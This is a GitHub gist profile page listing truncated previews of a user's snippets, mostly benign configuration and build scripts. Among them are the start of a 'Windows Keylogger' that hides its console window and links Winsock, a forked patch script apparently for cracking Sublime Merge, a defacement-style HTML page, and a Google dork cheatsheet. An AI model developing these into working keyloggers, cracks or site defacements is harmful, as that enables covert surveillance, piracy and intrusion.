Skip to content

Instantly share code, notes, and snippets.

View spxwnmc's full-sized avatar
💀
Docker_Cat

Luis Gerardo spxwnmc

💀
Docker_Cat
View GitHub Profile
@spxwnmc
spxwnmc / OrdenamientoPorInsercion.cpp
Last active December 17, 2020 03:46
Ordenamiento por inserción
/**
* @file OrdenamientoPorInsercion.cpp
* @author Hernández Vázquez Luis Gerardo
* @brief Ordenamiento por inserción
* @date 2020-12-16
*
*
*/
#include <iostream>
@spxwnmc
spxwnmc / shortcuts.vim
Created February 6, 2021 16:01
My shortcuts in Neovim
" => Leader nos permite hacer comandos con el espacio
let mapleader=" "
"Abrir ventaba horizontalmente
nmap <Leader>oj :split<CR>
"Abrir ventana verticalmente
nmap <Leader>ol :vsplit<CR>
"Guardar
nmap <Leader>w :w<CR>
MINIMAL XORG
(probado en Debian Testing)
Paquetes:
xserver-xorg-core
xserver-xorg-input-libinput
xserver-xorg-video-fbdev
xserver-xorg-video-[tu tarjeta de video]
xinit
xterm
@spxwnmc
spxwnmc / backup.sh
Created June 8, 2021 04:43
Backup incremental con rsync a servidor remoto
#!/usr/bin/env bash
DATE=$(date +"%d/%m/%y %H:%M")
SSH_USER=spawn
SSH_IP=192.168.100.45
REMOTE_FOLDER=/home/spawn/backups/docs
FOLDER_BACKUP=~/Documentos/
respaldo(){
sudo rsync -avz -e 'ssh -p 3777' $FOLDER_BACKUP ${SSH_USER}@${SSH_IP}:${REMOTE_FOLDER}
@spxwnmc
spxwnmc / patch.sh
Created June 20, 2021 22:34 — forked from rufoa/patch.sh
sublime merge 2 build 2056 linux
#!/bin/bash
set -o errexit
set -o nounset
set -o pipefail
target="${1:-/opt/sublime_merge/sublime_merge}"
check_sha() {
local sha_valid
@spxwnmc
spxwnmc / Pop_shell-Compile.sh
Created August 2, 2021 03:01
todos me pelan la verga
#!/usr/bin/env bash
sudo apt install --no-install-recommends node-typescript build-essential make &&
mkdir ~/pop-shell-comp &&
cd ~/pop-shell-comp &&
git clone https://github.com/pop-os/shell.git &&
cd shell && make all &&
make install &&
sudo install -Dm755 scripts/configure.sh "/usr/share/gnome-shell/extensions/pop-shell@system76.com/scripts/configure.sh"
@spxwnmc
spxwnmc / VirtualBox Cheat Sheet
Created November 20, 2021 06:52 — forked from githubfoam/VirtualBox Cheat Sheet
VirtualBox Cheat Sheet
==========================================================================================================
problem: move/copy VM manually and run
Cannot register the DVD image
C:\Program Files\Oracle\VirtualBox\VBoxGuestAdditions.iso' with UUID {fc087cbc-df04-47b4-b42f-25f614463f78} already exists.
fix: edit ".VBOX" file and remove entries between tags
<DVDImages>
</DVDImages>
==========================================================================================================
problem:
The virtual machine is being powered down, stuck
@spxwnmc
spxwnmc / WKeyLogger.cpp
Created December 1, 2021 08:38
Windows Keylogger
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#pragma comment(lib, "Ws2_32.lib")
#include <iostream>
#include <winsock2.h>
#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>
int main(){
ShowWindow(GetConsoleWindow(), SW_HIDE);
<html>
<head>
<title>spawnmc |</title>
</head>
<body>
<canvas id="canvas"></canvas>
<canvas id="canvas2"></canvas>
<h1>@spawnmc was here, perra</h1>
<div id="app"></div>
</body>
@spxwnmc
spxwnmc / GoogleDorking.md
Created February 28, 2022 22:43 — forked from sundowndev/GoogleDorking.md
Google dork cheatsheet

Google dork cheatsheet

Search filters

Filter Description Example
allintext Searches for occurrences of all the keywords given. allintext:"keyword"
intext Searches for the occurrences of keywords all at once or one at a time. intext:"keyword"
inurl Searches for a URL matching one of the keywords. inurl:"keyword"
allinurl Searches for a URL matching all the keywords in the query. allinurl:"keyword"
intitle Searches for occurrences of keywords in title all or one. intitle:"keyword"